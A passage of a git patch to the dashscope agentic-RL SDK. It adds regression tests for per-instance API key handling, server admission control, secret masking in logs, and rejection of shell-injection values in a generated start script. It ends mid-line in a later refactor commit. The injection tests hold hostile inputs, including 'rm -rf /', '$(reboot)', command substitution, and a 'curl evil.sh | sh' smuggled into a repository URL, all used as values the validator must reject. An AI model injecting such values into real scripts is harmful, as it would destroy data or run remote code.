Datasets.upload_datasets(training_files=["big.jsonl"]) + assert exc_info.value is original + + @pytest.mark.asyncio + async def test_unexpected_error_is_wrapped_as_oss_upload_error(self): + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(side_effect=ValueError("boom")), + ): + with pytest.raises(OSSUploadError) as exc_info: + await Datasets.upload_datasets(training_files=["t.jsonl"]) + assert exc_info.value.error_code == 2062 + + +class TestToBailianDataErrorClassification: + @pytest.mark.asyncio + async def test_no_valid_files_keeps_input_error_4031(self, tmp_path): + missing = tmp_path / "does-not-exist.jsonl" + with pytest.raises(InputError) as exc_info: + await to_bailian_data([FileSpec(path=str(missing))]) + assert exc_info.value.error_code == 4031 + + @pytest.mark.asyncio + async def test_failed_status_keeps_output_error_4032(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock(return_value={"status": {"code": 500}}), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4032 + + @pytest.mark.asyncio + async def test_partial_upload_keeps_output_error_4033(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock( + return_value={ + "status": {"code": 200}, + "data": {"failed_uploads": [{"name": "train.jsonl"}]}, + }, + ), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4033 + + @pytest.mark.asyncio + async def test_unexpected_error_is_wrapped_as_4034(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock(side_effect=ValueError("boom")), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4034 diff --git a/tests/legacy_1x/unit/test_agentic_rl_model.py b/tests/legacy_1x/unit/test_agentic_rl_model.py index 05590792..ed5f2310 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_model.py +++ b/tests/legacy_1x/unit/test_agentic_rl_model.py @@ -18,6 +18,7 @@ FunctionComponentRuntime, RegistrationError, OSSUploadError, + OutputError, get_filepath_classname, ) @@ -274,21 +275,25 @@ async def test_register_datasets_success(self, agentic_rl_tuning): # pylint: disable=redefined-outer-name @pytest.mark.asyncio async def test_upload_datasets_failure(self, agentic_rl_tuning): - """Test dataset registration failure""" + """Test dataset registration failure. + + A real upload failure (missing file) now surfaces as the + specific OutputError(4034) raised by to_bailian_data instead of + being flattened into a generic OSSUploadError wrapper. + """ # Mock file system operations with patch("os.path.exists", return_value=True), patch( "os.path.isfile", return_value=True, - ), patch("os.path.getsize", return_value=100), patch( - "dashscope.finetune.reinforcement.common.utils.to_bailian_data", - new_callable=AsyncMock, - side_effect=Exception("Upload failed"), - ): - with pytest.raises(OSSUploadError) as exc_info: + ), patch("os.path.getsize", return_value=100): + with pytest.raises(OutputError) as exc_info: await agentic_rl_tuning.tuning.upload_datasets() - assert "Dataset registration failed" in str( - exc_info.value, + assert "File upload error" in str(exc_info.value) + assert exc_info.value.error_code == 4034 + assert isinstance( + exc_info.value.__cause__, + FileNotFoundError, ) # pylint: disable=redefined-outer-name diff --git a/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py b/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py new file mode 100644 index 00000000..0bcc32db --- /dev/null +++ b/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py @@ -0,0 +1,313 @@ +# -*- coding: utf-8 -*- +"""Regression tests for the dashscope-2.0-agentic-rl-review findings. + +Each test maps to a specific issue in the review so a future refactor that +re-introduces the bug fails loudly: + +- P0 (§2): API Key must be resolved at call time / instance scope, never from + the import-time constant, and an explicit key must reach FC + file requests. +- P1 (§4): two Reward Processor instances must not share ``reward_meta``; a + later instance must not rebind an earlier instance's sub-functions. +- P1 (§5): ``FuncManager.execute()`` must be a working async entry point that + runs ``parses()`` + ``processes()`` (it used to call non-existent + ``parse()`` / ``process()`` and raise ``AttributeError``). + +Imports use the canonical ``dashscope.applications.finetune.reinforcement`` +package so the error/data classes are the exact v2 ones under test. +""" +import inspect +import os +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from dashscope.applications.finetune.agentic_rl import AgenticRL +from dashscope.applications.finetune.reinforcement import ( + AbstractRewardProcessor, + AgentOutput, + FileSpec, + FunctionType, + Reward, + RewardInput, + RewardOutput, + TaskStatus, + TuningModel, + client_fc, + resolve_api_key, + resolve_fc_api_key, + reward_func, + sub_reward_func, + to_bailian_data, +) +from dashscope.applications.finetune.reinforcement.common import constants +from dashscope.applications.finetune.reinforcement.component.demo.reward_processor_demo import ( # noqa: E501 + DemoRewardProcessor, +) +from dashscope.applications.finetune.reinforcement.component.func_manager import ( # noqa: E501 + FuncManager, +) + +# Patch target: ``client_fc`` / ``to_bailian_data`` call ``async_http_request`` +# as a module global inside ``common.utils``. +_HTTP = ( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request" +) + + +@pytest.fixture(autouse=True) +def _restore_api_key_env(): + """Snapshot/restore credential env vars. + + ``set_api_key`` (called by ``AgenticRL.__init__``) writes directly to + ``os.environ``, which monkeypatch does not track, so restore manually to + keep tests isolated. + """ + keys = ("DASHSCOPE_API_KEY", "FC_API_KEY") + saved = {k: os.environ.get(k) for k in keys} + yield + for k, v in saved.items(): + if v is None: + os.environ.pop(k, None) + else: + os.environ[k] = v + + +# ========================================================================== # +# P0 (§2): credential resolution # +# ========================================================================== # + + +class TestCredentialResolution: + def test_resolve_fc_api_key_precedence(self, monkeypatch): + """explicit > FC_API_KEY > DASHSCOPE_API_KEY > '' (call-time).""" + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + monkeypatch.setenv("FC_API_KEY", "env-fc") + + assert resolve_fc_api_key("explicit") == "explicit" + assert resolve_fc_api_key(None) == "env-fc" + + monkeypatch.delenv("FC_API_KEY") + assert resolve_fc_api_key(None) == "env-dash" + + monkeypatch.delenv("DASHSCOPE_API_KEY") + assert resolve_fc_api_key(None) == "" + + def test_resolve_api_key_precedence(self, monkeypatch): + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + assert resolve_api_key("explicit") == "explicit" + assert resolve_api_key(None) == "env-dash" + + def test_runtime_resolution_tracks_env_not_import_snapshot( + self, + monkeypatch, + ): + """The review repro: a key set AFTER import must still be honored. + + ``constants.DASHSCOPE_API_KEY`` is a frozen import-time snapshot; the + resolvers must read the live environment instead so a stale/empty + snapshot can never be used as the runtime credential. + """ + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-new-review") + + assert resolve_api_key(None) == "sk-new-review" + assert resolve_fc_api_key(None) == "sk-new-review" + # The snapshot is not the runtime source (it may still be '' / old). + assert constants.DASHSCOPE_API_KEY != "sk-new-review" + + +class TestExplicitKeyReachesRequests: + @pytest.mark.asyncio + async def test_client_fc_sets_authorization_from_passed_key(self): + """FC requests must carry the key passed in, not a global.""" + captured = {} + + async def _fake_http(**kwargs): + captured.update(kwargs) + return {"status": {"code": 200}} + + with patch(_HTTP, new=_fake_http): + await client_fc( + "sk-explicit", + "https://example.com/api", + {"a": 1}, + ) + + assert captured["headers"]["Authorization"] == "Bearer sk-explicit" + + @pytest.mark.asyncio + async def test_to_bailian_data_uses_explicit_key(self, tmp_path): + """File upload must use the explicit key even when env differs.""" + os.environ["DASHSCOPE_API_KEY"] = "sk-stale-env" + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + captured = {} + + async def _fake_http(**kwargs): + captured.update(kwargs) + return { + "status": {"code": 200}, + "data": {"uploaded_files": [{"file_id": "fid-1"}]}, + } + + with patch(_HTTP, new=_fake_http): + ids = await to_bailian_data( + [FileSpec(path=str(data_file))], + api_key="sk-file", + ) + + assert ids == ["fid-1"] + assert captured["headers"]["Authorization"] == "Bearer sk-file" + + +class TestAgenticRLInstanceScope: + def test_instance_key_isolated_from_env_and_other_instances( + self, + monkeypatch, + ): + """Multiple instances in one process must not clobber each other.""" + rl = AgenticRL(api_key="sk-instance") + assert rl._resolve_api_key() == "sk-instance" + + # Another tenant overwrites the shared process env ... + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + # ... but this instance still resolves its own key. + assert rl._resolve_api_key() == "sk-instance" + + rl2 = AgenticRL(api_key="sk-instance-2") + assert rl2._resolve_api_key() == "sk-instance-2" + assert rl._resolve_api_key() == "sk-instance" + + @pytest.mark.asyncio + async def test_instance_key_threaded_into_upload(self, monkeypatch): + """upload_datasets must forward the instance key (leads to file + requests), not the clobbered env value.""" + rl = AgenticRL(api_key="sk-instance") + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + + rl.tuning = MagicMock(spec=TuningModel) + rl.tuning.upload_datasets = AsyncMock(return_value=(["t"], ["v"])) + + await rl.upload_datasets( + training_files=["a.jsonl"], + validation_files=["b.jsonl"], + ) + + assert ( + rl.tuning.upload_datasets.await_args.kwargs["api_key"] + == "sk-instance" + ) + + @pytest.mark.asyncio + async def test_instance_key_threaded_into_register(self, monkeypatch): + """register_functions must forward the instance key (leads to FC + requests).""" + rl = AgenticRL(api_key="sk-instance") + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + + rl.tuning = MagicMock(spec=TuningModel) + rl.tuning.register_functions = AsyncMock( + return_value=([], [], [], [], [], []), + ) + + await rl.register_functions(lazy_load=True) + + assert ( + rl.tuning.register_functions.await_args.kwargs["api_key"] + == "sk-instance" + ) + + +# ========================================================================== # +# P1 (§4): Reward Processor instance isolation # +# ========================================================================== # + + +@reward_func("isolation") +class _IsolationProcessor(AbstractRewardProcessor): + """Reward processor whose sub-function reads per-instance state.""" + + def __init__(self, score_value: float, executor=None): + self.score_value = score_value + super().__init__(executor=executor) + + # pylint: disable=unused-argument + @sub_reward_func("metric", sub_weight=1.0) + def metric(self, input_data: RewardInput) -> RewardOutput: + return RewardOutput( + reward=Reward(reward_score=self.score_value), + status=TaskStatus.SUCCESS, + ) + + +class TestRewardProcessorInstanceIsolation: + @pytest.mark.asyncio + async def test_two_instances_do_not_share_metadata(self): + """The review repro: creating a 2nd instance must not rebind the + 1st instance's sub-functions (old bug made p1 return p2's value).""" + ri = RewardInput( + agent_output=AgentOutput( + messages=[{"role": "assistant", "content": "x"}], + ), + ) + + p1 = _IsolationProcessor(1.0) + p2 = _IsolationProcessor(2.0) + + # Metadata objects are per-instance, not the shared class attribute. + assert p1.reward_meta is not p2.reward_meta + assert p1.reward_meta is not _IsolationProcessor.reward_meta + + # Each collected sub-function is bound to its own instance. + assert p1.reward_meta.sub_functions["metric"].func.__self__ is p1 + assert p2.reward_meta.sub_functions["metric"].func.__self__ is p2 + + # functions_collected is an instance field, not shared class state. + assert p1.functions_collected is True + assert p2.functions_collected is True + + # Behavioral isolation: p1 keeps its own score after p2 exists. + assert (await p1.process(ri)).reward.reward_score == 1.0 + assert (await p2.process(ri)).reward.reward_score == 2.0 + assert (await p1.process(ri)).reward.reward_score == 1.0 + + +# ========================================================================== # +# P1 (§5): FuncManager.execute() entry point # +# ========================================================================== # + + +class TestFuncManagerExecute: + def test_execute_is_async_and_uses_real_methods(self): + """execute()/processes() are async and the real method names exist. + + Guards against reintroducing the dead ``parse()`` / ``process()`` + calls that raised ``AttributeError``. + """ + assert hasattr(FuncManager, "parses") + assert hasattr(FuncManager, "processes") + assert not hasattr(FuncManager, "parse") + assert not hasattr(FuncManager, "process") + assert inspect.iscoroutinefunction(FuncManager.execute) + assert inspect.iscoroutinefunction(FuncManager.processes) + + @pytest.mark.asyncio + async def test_execute_runs_parse_then_process(self): + manager = FuncManager( + FunctionType.REWARD, + processor=DemoRewardProcessor(), + ) + raw = { + "agent_output": { + "messages": [{"role": "assistant", "content": "hello"}], + }, + "ground_truth": "hello", + } + + result = await manager.execute(raw) + + assert isinstance(result, RewardOutput) + assert result.status == TaskStatus.SUCCESS + # DemoRewardProcessor scores 1.0 when ground_truth is in the messages. + assert result.reward.reward_score == 1.0 diff --git a/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py b/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py new file mode 100644 index 00000000..0beab2df --- /dev/null +++ b/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py @@ -0,0 +1,345 @@ +# -*- coding: utf-8 -*- +"""Regression tests for the agentic-RL FC server hardening (review §6, §7). + +- P1 (§6): admission control must be an atomic ``asyncio.Semaphore`` bounded + to ``workers + queue`` (no probing of ``ThreadPoolExecutor._work_queue``), + and a client disconnect must cancel the request while surfacing the + "HTTP cancelled but the sync worker is still running" case. +- P1 (§7): the validation error handler must never log or echo the full + request body by default; sensitive fields are deep-masked and truncated, + and only emitted at DEBUG level. + +The server module reads ``FUNC_TYPE`` / ``PROCESSOR_CLASS`` and builds its +FastAPI app at import time, so it is imported lazily through a fixture and +skipped when ``fastapi`` is not installed. +""" +import asyncio +import contextlib +import importlib +import inspect +import json +import os +from unittest.mock import MagicMock + +import pytest + +_SERVER_MODULE = ( + "dashscope.applications.finetune.reinforcement.component.server.server" +) +_DEMO_PROCESSOR = ( + "dashscope.applications.finetune.reinforcement.component.demo" + ".reward_processor_demo.DemoRewardProcessor" +) + + +@pytest.fixture(scope="module") +def server_mod(): + """Import the FC server module with a valid demo configuration.""" + pytest.importorskip("fastapi") + os.environ.setdefault("FUNC_TYPE", "reward") + os.environ.setdefault("PROCESSOR_CLASS", _DEMO_PROCESSOR) + return importlib.import_module(_SERVER_MODULE) + + +class _FakeRequest: + """Minimal stand-in for a Starlette Request.""" + + def __init__(self, body: bytes, headers=None): + self._body = body + self.headers = headers if headers is not None else {} + + async def body(self): + return self._body + + +# ========================================================================== # +# P1 (§6): admission control (semaphore) # +# ========================================================================== # + + +class TestAdmissionControl: + def test_does_not_probe_private_work_queue(self, server_mod): + """The fix must not reach into ThreadPoolExecutor internals.""" + src = inspect.getsource(server_mod._check_queue_capacity) + assert "_work_queue" not in src + assert "qsize" not in src + + @pytest.mark.asyncio + async def test_rejects_when_at_capacity(self, server_mod, monkeypatch): + sem = asyncio.Semaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + + # First request is admitted (counter 1 -> 0). + await server_mod._check_queue_capacity() + + # At capacity -> 503, without acquiring. + with pytest.raises(server_mod.HTTPException) as exc_info: + await server_mod._check_queue_capacity() + assert exc_info.value.status_code == 503 + + # Releasing frees a slot again. + server_mod._release_admission() + await server_mod._check_queue_capacity() + + @pytest.mark.asyncio + async def test_admission_is_atomic_under_concurrency( + self, + server_mod, + monkeypatch, + ): + """Exactly N of N+M concurrent requests are admitted (no race that + lets multiple requests pass a check-then-submit window).""" + sem = asyncio.Semaphore(3) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + + async def admit(): + try: + await server_mod._check_queue_capacity() + return "in" + except server_mod.HTTPException: + return "out" + + results = await asyncio.gather(*[admit() for _ in range(6)]) + assert results.count("in") == 3 + assert results.count("out") == 3 + + def test_release_admission_swallows_over_release( + self, + server_mod, + monkeypatch, + ): + """_release_admission must not raise on an unmatched release.""" + sem = asyncio.BoundedSemaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + # BoundedSemaphore.release() raises ValueError when over-released; + # the helper swallows it. + server_mod._release_admission() + + +class TestDisconnectCancellation: + @pytest.mark.asyncio + async def test_normal_completion_returns_false(self, server_mod): + disconnected = asyncio.Event() + + async def quick(): + return "done" + + async def never_disconnect(): + await asyncio.sleep(30) + + process_task = asyncio.create_task(quick()) + disconnect_listener = asyncio.create_task(never_disconnect()) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is False + disconnect_listener.cancel() + with contextlib.suppress(asyncio.CancelledError): + await disconnect_listener + + @pytest.mark.asyncio + async def test_disconnect_cancels_cancellable_task(self, server_mod): + disconnected = asyncio.Event() + + async def work(): + await asyncio.sleep(30) + + async def listener(): + disconnected.set() + + process_task = asyncio.create_task(work()) + disconnect_listener = asyncio.create_task(listener()) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is True + assert process_task.done() + + @pytest.mark.asyncio + async def test_warns_when_sync_worker_cannot_be_cancelled( + self, + server_mod, + monkeypatch, + ): + """A worker that survives cancellation (like a sync processor already + running in a thread) must be surfaced via a warning.""" + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + + started = asyncio.Event() + + async def stubborn(): + started.set() + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + # Emulate an uninterruptible sync worker: it does not stop + # on cancel and keeps running briefly. + await asyncio.sleep(0.05) + + process_task = asyncio.create_task(stubborn()) + await started.wait() + + disconnected = asyncio.Event() + + async def listener(): + disconnected.set() + + disconnect_listener = asyncio.create_task(listener()) + + async def fake_wait_for(awaitable, timeout): + # Simulate the 5s grace elapsing while the worker is still busy. + awaitable.cancel() + raise asyncio.TimeoutError() + + monkeypatch.setattr(server_mod.asyncio, "wait_for", fake_wait_for) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is True + logged = " ".join( + str(c) for c in logger_mock.warning.call_args_list + ) + assert "still running" in logged + + with contextlib.suppress(asyncio.CancelledError): + await process_task + disconnect_listener.cancel() + with contextlib.suppress(asyncio.CancelledError): + await disconnect_listener + + +# ========================================================================== # +# P1 (§7): validation handler body masking # +# ========================================================================== # + + +class TestValidationBodyMasking: + @pytest.mark.asyncio + async def test_full_body_not_logged_by_default( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "INFO") + + secret = "SUPER_SECRET_GROUND_TRUTH" + body = json.dumps( + {"ground_truth": secret, "prompt": "p"}, + ).encode() + request = _FakeRequest(body, {"x-fc-request-id": "req-1"}) + exc = server_mod.RequestValidationError( + [ + { + "loc": ("body", "agent_output"), + "msg": "field required", + "type": "value_error.missing", + }, + ], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + logs = " ".join( + str(c) + for c in ( + logger_mock.error.call_args_list + + logger_mock.debug.call_args_list + ) + ) + # The raw body / secret is never logged, and no DEBUG dump happens. + assert secret not in logs + assert not logger_mock.debug.called + # Request id and body size ARE recorded for triage. + assert "req-1" in logs + # The 422 response must not echo the raw body. + assert secret not in resp.body.decode() + + @pytest.mark.asyncio + async def test_sensitive_fields_masked_at_debug( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + raw_key = "sk-abcdefgh123456" + body = json.dumps({"api_key": raw_key, "prompt": "hello"}).encode() + request = _FakeRequest(body, {"x-fc-request-id": "req-2"}) + exc = server_mod.RequestValidationError( + [{"loc": ("body", "x"), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + assert logger_mock.debug.called + dbg = " ".join(str(c) for c in logger_mock.debug.call_args_list) + # Full key masked; only the secret_part_str form is present. + assert raw_key not in dbg + assert "sk-a****3456" in dbg + + @pytest.mark.asyncio + async def test_debug_non_json_body_is_truncated( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + body = b"not-json-" + b"x" * 500 + request = _FakeRequest(body, {"x-fc-request-id": "req-3"}) + exc = server_mod.RequestValidationError( + [{"loc": ("body",), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + dbg = " ".join(str(c) for c in logger_mock.debug.call_args_list) + # Fallback path decodes and truncates to 200 chars. + assert "x" * 201 not in dbg + + @pytest.mark.asyncio + async def test_survives_unreadable_body(self, server_mod, monkeypatch): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + class _BadRequest: + headers = {"x-fc-request-id": "req-4"} + + async def body(self): + raise RuntimeError("stream closed") + + exc = server_mod.RequestValidationError( + [{"loc": ("body",), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler( + _BadRequest(), + exc, + ) + + # body read failed -> body_bytes None -> no DEBUG body dump. + assert resp.status_code == 422 + assert not logger_mock.debug.called diff --git a/tests/legacy_1x/unit/test_agentic_rl_utils.py b/tests/legacy_1x/unit/test_agentic_rl_utils.py index defdbf31..1350d6d0 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_utils.py +++ b/tests/legacy_1x/unit/test_agentic_rl_utils.py @@ -50,11 +50,12 @@ def test_generate_agentic_script(self): classpath="module.path.Processor", ) - # Validate core configuration - assert 'SERVICE_TYPE="rollout"' in script - assert 'PROCESSOR_CLASS="module.path.Processor"' in script + # Validate core configuration (emitted as shlex-quoted literals; + # safe values stay unquoted, exactly as shlex.quote renders them) + assert "SERVICE_TYPE=rollout" in script + assert "PROCESSOR_CLASS=module.path.Processor" in script assert 'SDK_PACKAGE="dashscope"' in script - assert 'REQUIREMENTS_FILE="requirements.txt"' in script + assert "REQUIREMENTS_FILE=requirements.txt" in script # Validate key functional blocks assert "set -euo pipefail" in script # Error handling @@ -78,16 +79,66 @@ def test_generate_script_with_empty_requirements(self): assert "local_packages=($SDK_PACKAGE)" in script def test_special_characters_in_classpath(self): - """Test handling of special characters in classpath.""" + """Classpath values outside the module-path whitelist are + rejected instead of being embedded into the shell script.""" + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="group_reward", + classpath="special.module:Class$With@Chars", + ) + + def test_shell_injection_values_are_rejected(self): + """Quotes, command substitution, backticks and newlines in any + interpolated value must not reach the generated script.""" + malicious = [ + 'mod.Class"; rm -rf / #', + "mod.$(whoami)", + "mod.`id`", + "mod.Class\necho pwned", + "mod.Class extra", + ] + for classpath in malicious: + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="reward", + classpath=classpath, + ) + + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope", + fc_pypi_repo='https://pypi.org/simple"; curl evil.sh | sh; "', + requirements_path="reqs.txt", + func_type="reward", + classpath="module.path.Processor", + ) + + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope$(reboot)", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="reward", + classpath="module.path.Processor", + ) + + def test_requirements_path_is_shell_quoted(self): + """A requirements path with spaces stays a single shell literal.""" script = generate_agentic_script( fc_pypi_lib="dashscope", fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="group_reward", - classpath="special.module:Class$With@Chars", + requirements_path="my reqs'file.txt", + func_type="reward", + classpath="module.path.Processor", ) - - assert 'PROCESSOR_CLASS="special.module:Class$With@Chars"' in script + expected = "REQUIREMENTS_FILE='my reqs'\"'\"'file.txt'" + assert expected in script def test_create_deployment_files(self, tmp_path): """Test creating deployment files with requirements.""" @@ -112,8 +163,8 @@ def test_create_deployment_files(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="processor.DemoProcessor"' in content - assert 'REQUIREMENTS_FILE="requirements.txt"' in content + assert "PROCESSOR_CLASS=processor.DemoProcessor" in content + assert "REQUIREMENTS_FILE=requirements.txt" in content def test_create_files_without_requirements(self, tmp_path): """Test creating deployment files without requirements.""" @@ -136,7 +187,7 @@ def test_create_files_without_requirements(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="module.processor.MyProcessor"' in content + assert "PROCESSOR_CLASS=module.processor.MyProcessor" in content assert "local_packages=($SDK_PACKAGE)" in content def test_invalid_file_path(self, tmp_path): From b537cf004ea7e5904add6f8ed6aa2dd26bf79eb0 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Thu, 5 Nov 2026 16:40:41 +0800 Subject: [PATCH 18/26] refactor(server): extract client disconnect response logic - Moved client disconnect response to a dedicated function _client_disconnect_response - Simplified handler to return the new function's response on disconnect - Improved logging of client disconnect event with request ID - Applied consistent multi-line formatting for async client call - Cleaned up redundant parentheses in exception handling block - Updated import statements to remove unused OSSUploadError - Corrected pylint disable comment for abstract class instantiation in tests - Minor formatting improvements in test logging string concatenation --- .../reinforcement/common/constants.py | 1 + .../finetune/reinforcement/common/model.py | 6 +++- .../reinforcement/component/server/server.py | 28 ++++++++++--------- tests/legacy_1x/unit/test_agentic_rl_model.py | 1 - .../test_agentic_rl_review_regressions.py | 7 +++-- .../unit/test_agentic_rl_server_hardening.py | 4 +-- 6 files changed, 27 insertions(+), 20 deletions(-) diff --git a/dashscope/applications/finetune/reinforcement/common/constants.py b/dashscope/applications/finetune/reinforcement/common/constants.py index 7a9e6ab3..2880ce8a 100644 --- a/dashscope/applications/finetune/reinforcement/common/constants.py +++ b/dashscope/applications/finetune/reinforcement/common/constants.py @@ -67,6 +67,7 @@ def resolve_fc_api_key(api_key: Optional[str] = None) -> str: or "" ) + # -------------------------- # Logging Configuration # -------------------------- diff --git a/dashscope/applications/finetune/reinforcement/common/model.py b/dashscope/applications/finetune/reinforcement/common/model.py index f71d5905..31ffa4a8 100644 --- a/dashscope/applications/finetune/reinforcement/common/model.py +++ b/dashscope/applications/finetune/reinforcement/common/model.py @@ -1323,7 +1323,11 @@ async def query_function_instance_logs( if keywords: request_data["keywords"] = keywords - result = await client_fc(resolve_fc_api_key(api_key), url, request_data) + result = await client_fc( + resolve_fc_api_key(api_key), + url, + request_data, + ) status = result.get("status", {}) if isinstance(status, Dict) and status.get("code", 200) != 200: raise InstanceQueryError( diff --git a/dashscope/applications/finetune/reinforcement/component/server/server.py b/dashscope/applications/finetune/reinforcement/component/server/server.py index 8ed6cb9d..779acaba 100644 --- a/dashscope/applications/finetune/reinforcement/component/server/server.py +++ b/dashscope/applications/finetune/reinforcement/component/server/server.py @@ -211,9 +211,7 @@ async def validation_exception_handler( try: body_preview = str(deep_mask(json.loads(body_bytes)))[:2000] except Exception: - body_preview = ( - body_bytes.decode("utf-8", errors="ignore")[:200] - ) + body_preview = body_bytes.decode("utf-8", errors="ignore")[:200] logger.debug(f"[Server] Request body (masked): {body_preview}") return JSONResponse( @@ -466,6 +464,19 @@ async def _cancel_task_on_disconnect( return False +def _client_disconnect_response(request: "Request") -> JSONResponse: + """Build the 499 response returned when the client disconnects.""" + logger.warning( + "[Server] Client disconnected during processing, " + "task cancelled. x-fc-request-id: %s", + get_fc_request_id(request), + ) + return JSONResponse( + status_code=499, + content={"message": "Client disconnected, request cancelled."}, + ) + + async def _log_request_metrics( request: "Request", processor_input, @@ -567,16 +578,7 @@ async def _listen_for_disconnect(): if disconnected_flag: cancelled = True - fc_request_id = get_fc_request_id(request) - logger.warning( - "[Server] Client disconnected during processing, " - "task cancelled. x-fc-request-id: %s", - fc_request_id, - ) - return JSONResponse( - status_code=499, - content={"message": "Client disconnected, request cancelled."}, - ) + return _client_disconnect_response(request) # Processing completed normally result = process_task.result() diff --git a/tests/legacy_1x/unit/test_agentic_rl_model.py b/tests/legacy_1x/unit/test_agentic_rl_model.py index ed5f2310..8960d5d4 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_model.py +++ b/tests/legacy_1x/unit/test_agentic_rl_model.py @@ -17,7 +17,6 @@ FunctionComponentModel, FunctionComponentRuntime, RegistrationError, - OSSUploadError, OutputError, get_filepath_classname, ) diff --git a/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py b/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py index 0bcc32db..390b5803 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py +++ b/tests/legacy_1x/unit/test_agentic_rl_review_regressions.py @@ -40,10 +40,10 @@ to_bailian_data, ) from dashscope.applications.finetune.reinforcement.common import constants -from dashscope.applications.finetune.reinforcement.component.demo.reward_processor_demo import ( # noqa: E501 +from dashscope.applications.finetune.reinforcement.component.demo import ( DemoRewardProcessor, ) -from dashscope.applications.finetune.reinforcement.component.func_manager import ( # noqa: E501 +from dashscope.applications.finetune.reinforcement.component.func_manager import ( FuncManager, ) @@ -252,6 +252,9 @@ async def test_two_instances_do_not_share_metadata(self): ), ) + # ``@reward_func`` injects ``process()`` and clears + # ``__abstractmethods__`` at decoration time, which astroid cannot see. + # pylint: disable=abstract-class-instantiated p1 = _IsolationProcessor(1.0) p2 = _IsolationProcessor(2.0) diff --git a/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py b/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py index 0beab2df..1eb0870e 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py +++ b/tests/legacy_1x/unit/test_agentic_rl_server_hardening.py @@ -209,9 +209,7 @@ async def fake_wait_for(awaitable, timeout): ) assert result is True - logged = " ".join( - str(c) for c in logger_mock.warning.call_args_list - ) + logged = " ".join(str(c) for c in 